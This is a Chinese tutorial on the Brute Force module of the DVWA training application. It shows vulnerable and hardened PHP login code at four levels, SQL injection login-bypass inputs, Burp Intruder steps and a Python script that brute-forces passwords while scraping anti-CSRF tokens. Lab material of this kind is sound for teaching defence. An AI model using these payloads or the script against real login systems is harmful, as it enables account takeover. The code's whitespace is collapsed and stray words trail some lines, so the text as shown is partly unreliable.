DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試本身的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。php
DVWA共有十個模塊,分別是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站請求僞造)、File Inclusion(文件包含)、File Upload(文件上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站腳本)、XSS(Stored)(存儲型跨站腳本)。html
須要注意的是,DVWA 1.9的代碼分爲四種安全級別:Low,Medium,High,Impossible。初學者能夠經過比較四種級別的代碼,接觸到一些PHP代碼審計的內容。python
Brute Force
Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出用戶口令,是如今最爲普遍使用的攻擊手法之一,如2014年轟動全國的12306「撞庫」事件,實質就是暴力破解攻擊。mysql
下面將對四種級別的代碼進行分析。web
Low
服務器端核心代碼sql
<?php if(isset($_GET['Login'])){ //Getusername $user=$_GET['username']; //Getpassword $pass=$_GET['password']; $pass=md5($pass); //Checkthedatabase $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';"; $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"<p>Welcometothepasswordprotectedarea{$user}</p>"; echo"<imgsrc="{$avatar}"/>"; } else{ //Loginfailed echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>"; } mysql_close(); } ?>
能夠看到,服務器只是驗證了參數Login是否被設置(isset函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false),沒有任何的防爆破機制,且對參數username、password沒有作任何過濾,存在明顯的sql注入漏洞。數據庫
漏洞利用安全
方法一爆破利用burpsuite便可完成服務器
第一步抓包session
第二步,ctrl+I將包複製到intruder模塊,由於要對password參數進行爆破,因此在password參數的內容兩邊加$
第三步選中Payloads,載入字典,點擊Start attack進行爆破
最後,嘗試在爆破結果中找到正確的密碼,能夠看到password的響應包長度(length)「不同凡響」,可推測password爲正確密碼,手工驗證登錄成功。
方法二手工sql注入
1. Username:admin’ or ’1′=’1
Password:(空)
注入成功
2. Username :admin’ #
Password :(空)
注入成功
Medium
服務器端核心代碼
<?php if(isset($_GET['Login'])){ //Sanitiseusernameinput $user=$_GET['username']; $user=mysql_real_escape_string($user); //Sanitisepasswordinput $pass=$_GET['password']; $pass=mysql_real_escape_string($pass); $pass=md5($pass); //Checkthedatabase $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';"; $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"<p>Welcometothepasswordprotectedarea{$user}</p>"; echo"<imgsrc="{$avatar}"/>"; } else{ //Loginfailed sleep(2); echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>"; } mysql_close(); } ?>
相比Low級別的代碼,Medium級別的代碼主要增長了mysql_real_escape_string函數,這個函數會對字符串中的特殊符號(x00,n,r,,’,」,x1a)進行轉義,基本上可以抵禦sql注入攻擊,說基本上是由於查到說 MySQL5.5.37如下版本若是設置編碼爲GBK,可以構造編碼繞過mysql_real_escape_string 對單引號的轉義(因實驗環境的MySQL版本較新,因此並未作相應驗證);同時,$pass作了MD5校驗,杜絕了經過參數password進行sql注入的可能性。可是,依然沒有加入有效的防爆破機制(sleep(2)實在算不上)。
具體的mysql_real_escape_string函數繞過問題詳見
http://blog.csdn.net/hornedreaper1988/article/details/43520257
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
漏洞利用
雖然sql注入再也不有效,但依然能夠使用Burpsuite進行爆破,與Low級別的爆破方法基本同樣,這裏就不贅述了。
High
服務器端核心代碼
<?php if(isset($_GET['Login'])){ //CheckAnti-CSRFtoken checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php'); //Sanitiseusernameinput $user=$_GET['username']; $user=stripslashes($user); $user=mysql_real_escape_string($user); //Sanitisepasswordinput $pass=$_GET['password']; $pass=stripslashes($pass); $pass=mysql_real_escape_string($pass); $pass=md5($pass); //Checkdatabase $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';"; $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"<p>Welcometothepasswordprotectedarea{$user}</p>"; echo"<imgsrc="{$avatar}"/>"; } else{ //Loginfailed sleep(rand(0,3)); echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>"; } mysql_close(); } //GenerateAnti-CSRFtoken generateSessionToken(); ?>
High級別的代碼加入了Token,能夠抵禦CSRF攻擊,同時也增長了爆破的難度,經過抓包,能夠看到,登陸驗證時提交了四個參數:username、password、Login以及user_token。
每次服務器返回的登錄頁面中都會包含一個隨機的user_token的值,用戶每次登陸時都要將user_token一塊兒提交。服務器收到請求後,會優先作token的檢查,再進行sql查詢。
同時,High級別的代碼中,使用了stripslashes(去除字符串中的反斜線字符,若是有兩個連續的反斜線,則只去掉一個)、 mysql_real_escape_string對參數username、password進行過濾、轉義,進一步抵禦sql注入。
漏洞利用
因爲加入了Anti-CSRFtoken預防無腦爆破,這裏就不推薦用Burpsuite了,仍是簡單用python寫個腳本吧。
下面是我本身寫的一個腳本(python 2.7),用戶名爲admin,對password參數進行爆破並打印結果,僅供各位參考。
from bs4 import BeautifulSoup import urllib2 header={ 'Host': '192.168.153.130', 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'} requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") user_token = soup.form.input.input.input.input["value"] #get the user_token return user_token user_token = get_token(requrl,header) i=0 for line in open("rkolin.txt"): requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break
get_token的功能是經過python的BeautifulSoup庫從html頁面中抓取user_token的值,爲了方便展現,這裏設置只嘗試10次。
運行腳本時的Burpsuite截圖
打印的結果從第二行開始依次是序號、用戶名、密碼、http狀態碼以及返回的頁面長度。
對比結果看到,密碼爲password時返回的長度不太同樣,手工驗證,登陸成功,爆破完成。
Impossible
服務器端核心代碼
<?php if(isset($_POST['Login'])){ //CheckAnti-CSRFtoken checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php'); //Sanitiseusernameinput $user=$_POST['username']; $user=stripslashes($user); $user=mysql_real_escape_string($user); //Sanitisepasswordinput $pass=$_POST['password']; $pass=stripslashes($pass); $pass=mysql_real_escape_string($pass); $pass=md5($pass); //Defaultvalues $total_failed_login=3; $lockout_time=15; $account_locked=false; //Checkthedatabase(Checkuserinformation) $data=$db->prepare('SELECTfailed_login,last_loginFROMusersWHEREuser=(:user)LIMIT1;'); $data->bindParam(':user',$user,PDO::PARAM_STR); $data->execute(); $row=$data->fetch(); //Checktoseeiftheuserhasbeenlockedout. if(($data->rowCount()==1)&&($row['failed_login']>=$total_failed_login)){ //Userlockedout.Note,usingthismethodwouldallowforuserenumeration! //echo"<pre><br/>Thisaccounthasbeenlockedduetotoomanyincorrectlogins.</pre>"; //Calculatewhentheuserwouldbeallowedtologinagain $last_login=$row['last_login']; $last_login=strtotime($last_login); $timeout=strtotime("{$last_login}+{$lockout_time}minutes"); $timenow=strtotime("now"); //Checktoseeifenoughtimehaspassed,ifithasn'tlockedtheaccount if($timenow>$timeout) $account_locked=true; } //Checkthedatabase(ifusernamematchesthepassword) $data=$db->prepare('SELECT*FROMusersWHEREuser=(:user)ANDpassword=(:password)LIMIT1;'); $data->bindParam(':user',$user,PDO::PARAM_STR); $data->bindParam(':password',$pass,PDO::PARAM_STR); $data->execute(); $row=$data->fetch(); //Ifitsavalidlogin... if(($data->rowCount()==1)&&($account_locked==false)){ //Getusersdetails $avatar=$row['avatar']; $failed_login=$row['failed_login']; $last_login=$row['last_login']; //Loginsuccessful echo"<p>Welcometothepasswordprotectedarea<em>{$user}</em></p>"; echo"<imgsrc="{$avatar}"/>"; //Hadtheaccountbeenlockedoutsincelastlogin? if($failed_login>=$total_failed_login){ echo"<p><em>Warning</em>:Someonemightofbeenbruteforcingyouraccount.</p>"; echo"<p>Numberofloginattempts:<em>{$failed_login}</em>.<br/>Lastloginattemptwasat:<em>${last_login}</em>.</p>"; } //Resetbadlogincount $data=$db->prepare('UPDATEusersSETfailed_login="0"WHEREuser=(:user)LIMIT1;'); $data->bindParam(':user',$user,PDO::PARAM_STR); $data->execute(); } else{ //Loginfailed sleep(rand(2,4)); //Givetheusersomefeedback echo"<pre><br/>Usernameand/orpasswordincorrect.<br/><br/>Alternative,theaccounthasbeenlockedbecauseoftoomanyfailedlogins.<br/>Ifthisisthecase,<em>pleasetryagainin{$lockout_time}minutes</em>.</pre>"; //Updatebadlogincount $data=$db->prepare('UPDATEusersSETfailed_login=(failed_login+1)WHEREuser=(:user)LIMIT1;'); $data->bindParam(':user',$user,PDO::PARAM_STR); $data->execute(); } //Setthelastlogintime $data=$db->prepare('UPDATEusersSETlast_login=now()WHEREuser=(:user)LIMIT1;'); $data->bindParam(':user',$user,PDO::PARAM_STR); $data->execute(); } //GenerateAnti-CSRFtoken generateSessionToken(); ?>
能夠看到Impossible級別的代碼加入了可靠的防爆破機制,當檢測到頻繁的錯誤登陸後,系統會將帳戶鎖定,爆破也就沒法繼續。
同時採用了更爲安全的PDO(PHP Data Object)機制防護sql注入,這是由於不能使用PDO擴展自己執行任何數據庫操做,而sql注入的關鍵就是經過破壞sql語句結構執行惡意的sql命令。
關於PDO:http://www.cnblogs.com/pinocchioatbeijing/archive/2012/03/20/2407869.html
轉自:http://www.freebuf.com/articles/web/116437.html
本文原創做者:lonehand
本文同步分享在 博客「謝公子」(CSDN)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。